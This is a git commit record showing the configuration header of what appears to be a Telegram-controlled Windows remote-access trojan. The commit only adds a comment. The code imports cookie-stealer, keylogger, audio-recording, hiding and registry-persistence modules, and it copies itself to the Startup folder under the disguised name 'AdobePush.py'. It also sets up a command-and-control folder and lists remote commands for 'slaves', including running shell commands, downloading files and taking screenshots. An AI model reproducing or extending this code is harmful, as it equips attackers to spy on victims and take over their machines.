<commit_before>import os
import sys
import time
import errno
import shutil
import ctypes
import pyHook
import urllib
import urllib2
import telepot
import getpass
import logging
import win32api
import win32gui
import datetime
import platform
import threading
import pythoncom
import webbrowser
import subprocess
from Breathe import add_to_registry
from Breathe import ChangeWallpaper
from Breathe import check_external_drive
from Breathe import CookieStealer
from Breathe import DirectoryTree
from Breathe import hideme
from Breathe import httpServer
from Breathe import insertkeystrokes
from Breathe import makeRouterList
from Breathe import modify_file_names
from Breathe import modify_timestamp
from Breathe import portmap
from Breathe import RadiumKeylogger
from Breathe import RecAudio
from Breathe import router_check
from Breathe import SendData
from Breathe import set_email_template
from Breathe import window_title
from Echoes import Run
from PIL import ImageGrab
from uuid import getnode as get_mac

# -----------------------------------------------------------------------------
CHAT_ID = ''  #Get chat id from telegram app
BOTS_ALIVE = []
MAC_ADDRESS = ':'.join(("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2))
PLAT_FORM = platform.platform()
USER = getpass.getuser()

bot = None
save_keystroke = None
key_logger = ''
info = 'info.txt'
transfer = SendData.EmailData()

buffer = ''
window = ''

SPI_SETDESKWALLPAPER = 20
current_active_window = ''
current_system_time = datetime.datetime.now()

copied_startup_filename = 'AdobePush.py'

access_token = '' # Get access token from botfather in telegram app
FLAGS = ["#START", "#STOP", "#EXECUTE", "#SEND", "#DOWNLOAD", "#UPLOAD", "#SCREENSHOT", "#CMD", "#WALLPAPER", "#HELP", "#SET", "#FIND"]
# -----------------------------------------------------------------------------

threads = 10
emailFlag = 0
server = []

CURR_DIR = os.getcwd()
CURR_FILE_PATH = os.path.realpath(__file__)
CURR_FILE_NAME = os.path.basename(__file__)
SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC'
CACHE_PATH = SAVE_FILES + "\\Cache\\"
USERDATA_PATH = SAVE_FILES + "\\User Data\\"
SERVER_PATH = SAVE_FILES + "\\Server"
PATH_MAIL_TEMP = USERDATA_PATH + "email_template.et"
STARTUP_PATH = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'

help_text='''whoisonline- list active slaves
destroy- delete&clean up
#cmd- execute command on CMD
#download- url (startup, desktop, default)
#execute- shutdown, restart, logoff, lock
#screenshot- take screenshot<commit_msg>Eclipse<commit_after>import os
import sys
import time
import errno
import shutil
import ctypes
import pyHook
import urllib
import urllib2
import telepot
import getpass
import logging
import win32api
import win32gui
import datetime
import platform
import threading
import pythoncom
import webbrowser
import subprocess
from Breathe import add_to_registry
from Breathe import ChangeWallpaper
from Breathe import check_external_drive
from Breathe import CookieStealer
from Breathe import DirectoryTree
from Breathe import hideme
from Breathe import httpServer
from Breathe import insertkeystrokes
from Breathe import makeRouterList
from Breathe import modify_file_names
from Breathe import modify_timestamp
from Breathe import portmap
from Breathe import RadiumKeylogger
from Breathe import RecAudio
from Breathe import router_check
from Breathe import SendData
from Breathe import set_email_template
from Breathe import window_title
from Echoes import Run
from PIL import ImageGrab
from uuid import getnode as get_mac

# -----------------------------------------------------------------------------
CHAT_ID = ''  #Get chat id from telegram app
BOTS_ALIVE = []
MAC_ADDRESS = ':'.join(("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2))
PLAT_FORM = platform.platform()
USER = getpass.getuser()

bot = None
save_keystroke = None
key_logger = ''
info = 'info.txt'
transfer = SendData.EmailData()

buffer = ''
window = ''

SPI_SETDESKWALLPAPER = 20
current_active_window = ''
current_system_time = datetime.datetime.now()

copied_startup_filename = 'AdobePush.py' # The file will be copied to startup folder by this name

access_token = '' # Get access token from botfather in telegram app
FLAGS = ["#START", "#STOP", "#EXECUTE", "#SEND", "#DOWNLOAD", "#UPLOAD", "#SCREENSHOT", "#CMD", "#WALLPAPER", "#HELP", "#SET", "#FIND"]
# -----------------------------------------------------------------------------

threads = 10
emailFlag = 0
server = []

CURR_DIR = os.getcwd()
CURR_FILE_PATH = os.path.realpath(__file__)
CURR_FILE_NAME = os.path.basename(__file__)
SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC'
CACHE_PATH = SAVE_FILES + "\\Cache\\"
USERDATA_PATH = SAVE_FILES + "\\User Data\\"
SERVER_PATH = SAVE_FILES + "\\Server"
PATH_MAIL_TEMP = USERDATA_PATH + "email_template.et"
STARTUP_PATH = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'

help_text='''whoisonline- list active slaves
destroy- delete&clean up
#cmd- execute command on CMD
#download- url (startup, desktop, default)
#execute- shutdown, restart, logoff, lock
#screenshot- take screenshot
{'fraction_non_alphanumeric': 0.1492171288436144, 'fraction_numerical': 0.006791171477079796, 'mean_word_length': 4.132623426911907, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 2, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '699914', 'n_tokens_mistral': 1674, 'n_tokens_neox': 1651, 'n_words': 502}